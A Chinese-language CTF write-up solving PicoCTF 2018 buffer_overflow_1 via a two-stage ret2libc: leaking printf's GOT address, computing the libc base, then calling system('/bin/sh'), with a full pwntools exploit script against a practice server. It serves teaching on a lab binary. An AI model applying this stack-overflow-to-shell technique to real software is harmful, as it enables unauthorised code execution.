我看网络上大多数都是直接溢出到win()函数,这篇我就提供给刚入门的pwner另外一种思路

先放进虚拟机中检查:

任何保护机制都没开,放到32位IDA中:

主函数很简单,进入vuln()函数看一下:

很明显有溢出,进入栈中看偏移:

 这里偏移为0x28,我们思路是第一次溢出,去泄露libc地址,再次进行溢出get shell。

第一次溢出:

io.recvuntil(':')
payload = 'A'*0X28
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])

io.sendline(payload)
io.recvuntil('0x8048420\n')

leak = u32(io.recv(4))
libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

success(hex(leak))
success(hex(libc_base))
success(hex(system))
success(hex(binsh))

第二次进行溢出:

io.recvuntil(':')
payload = 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendline(payload)

完整exp:

from pwn import *
elf = ELF('./PicoCTF_2018_buffer_overflow_1')
io = remote('node4.buuoj.cn',27620)
libc = ELF('./libc-2.27.so')
context(log_level='debug')

main = 0x804865D
printf = 0x8048420

io.recvuntil(':')

payload = 'A'*0X28
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])

io.sendline(payload)
io.recvuntil('0x8048420\n')

leak = u32(io.recv(4))
success(hex(leak))

libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

success(hex(libc_base))
success(hex(system))
success(hex(binsh))

io.recvuntil(':')
payload = 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendline(payload)

io.interactive()

 喜提flag!

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐